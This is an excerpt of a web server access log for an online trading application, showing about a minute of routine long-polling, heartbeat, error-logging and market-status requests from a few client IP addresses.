[09/Jan/2026:14:43:12 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941268130 HTTP/1.1" -
[09/Jan/2026:14:43:14 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941279593 HTTP/1.1" -
[09/Jan/2026:14:43:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941265935 HTTP/1.1" -
[09/Jan/2026:14:43:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941266284 HTTP/1.1" -
[09/Jan/2026:14:43:17 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941273162 HTTP/1.1" -
[09/Jan/2026:14:43:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:43:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:43:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:43:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:43:19 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941284626 HTTP/1.1" -
[09/Jan/2026:14:43:20 +0800] 64.62.156.223 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /favicon.ico HTTP/1.1" 196
[09/Jan/2026:14:43:21 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941270956 HTTP/1.1" -
[09/Jan/2026:14:43:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:43:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:43:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:43:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:43:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941271395 HTTP/1.1" -
[09/Jan/2026:14:43:22 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941278258 HTTP/1.1" -
[09/Jan/2026:14:43:23 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:43:23 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:43:24 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941289689 HTTP/1.1" -
[09/Jan/2026:14:43:24 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:43:24 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:43:26 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941275987 HTTP/1.1" -
[09/Jan/2026:14:43:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941276529 HTTP/1.1" -
[09/Jan/2026:14:43:27 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941283325 HTTP/1.1" -
[09/Jan/2026:14:43:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941294712 HTTP/1.1" -
[09/Jan/2026:14:43:31 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941281006 HTTP/1.1" -
[09/Jan/2026:14:43:32 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941288352 HTTP/1.1" -
[09/Jan/2026:14:43:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941281575 HTTP/1.1" -
[09/Jan/2026:14:43:34 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:43:34 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:43:34 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941299743 HTTP/1.1" -
[09/Jan/2026:14:43:36 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941286045 HTTP/1.1" -
[09/Jan/2026:14:43:37 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941293447 HTTP/1.1" -
[09/Jan/2026:14:43:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941286975 HTTP/1.1" -
[09/Jan/2026:14:43:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941304769 HTTP/1.1" -
[09/Jan/2026:14:43:41 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:43:41 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:43:41 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941291065 HTTP/1.1" -
[09/Jan/2026:14:43:42 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941298510 HTTP/1.1" -
[09/Jan/2026:14:43:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941292153 HTTP/1.1" -
[09/Jan/2026:14:43:44 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941309828 HTTP/1.1" -
[09/Jan/2026:14:43:46 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941296094 HTTP/1.1" -
[09/Jan/2026:14:43:48 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941303544 HTTP/1.1" -
[09/Jan/2026:14:43:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941297303 HTTP/1.1" -
[09/Jan/2026:14:43:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:43:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:43:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:43:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:43:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941314889 HTTP/1.1" -
[09/Jan/2026:14:43:51 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941301134 HTTP/1.1" -
[09/Jan/2026:14:43:52 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:43:52 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:43:52 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:43:52 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:43:53 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941308653 HTTP/1.1" -
[09/Jan/2026:14:43:53 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:43:53 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:43:53 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941302441 HTTP/1.1" -
[09/Jan/2026:14:43:54 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:43:54 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:43:55 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941319943 HTTP/1.1" -
[09/Jan/2026:14:43:56 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941306162 HTTP/1.1" -
[09/Jan/2026:14:43:58 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941313729 HTTP/1.1" -
[09/Jan/2026:14:43:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941307504 HTTP/1.1" -
[09/Jan/2026:14:44:00 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941324974 HTTP/1.1" -
[09/Jan/2026:14:44:01 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941311183 HTTP/1.1" -
[09/Jan/2026:14:44:03 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941318762 HTTP/1.1" -
[09/Jan/2026:14:44:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941312618 HTTP/1.1" -
[09/Jan/2026:14:44:04 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:44:04 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:44:05 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941330001 HTTP/1.1" -
[09/Jan/2026:14:44:06 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941316212 HTTP/1.1" -
[09/Jan/2026:14:44:08 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941323853 HTTP/1.1" -
[09/Jan/2026:14:44:08 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941317747 HTTP/1.1" -
[09/Jan/2026:14:44:10 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941335072 HTTP/1.1" -
[09/Jan/2026:14:44:11 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:44:11 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:44:11 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941321241 HTTP/1.1" -
[09/Jan/2026:14:44:13 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941328919 HTTP/1.1" -
[09/Jan/2026:14:44:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941322846 HTTP/1.1" -
[09/Jan/2026:14:44:15 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941340135 HTTP/1.1" -
[09/Jan/2026:14:44:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941326276 HTTP/1.1" -
[09/Jan/2026:14:44:18 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941333950 HTTP/1.1" -
[09/Jan/2026:14:44:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941327980 HTTP/1.1" -
[09/Jan/2026:14:44:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:44:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:44:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:44:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:44:20 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941345202 HTTP/1.1" -
[09/Jan/2026:14:44:21 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941331310 HTTP/1.1" -
[09/Jan/2026:14:44:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:44:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:44:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:44:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
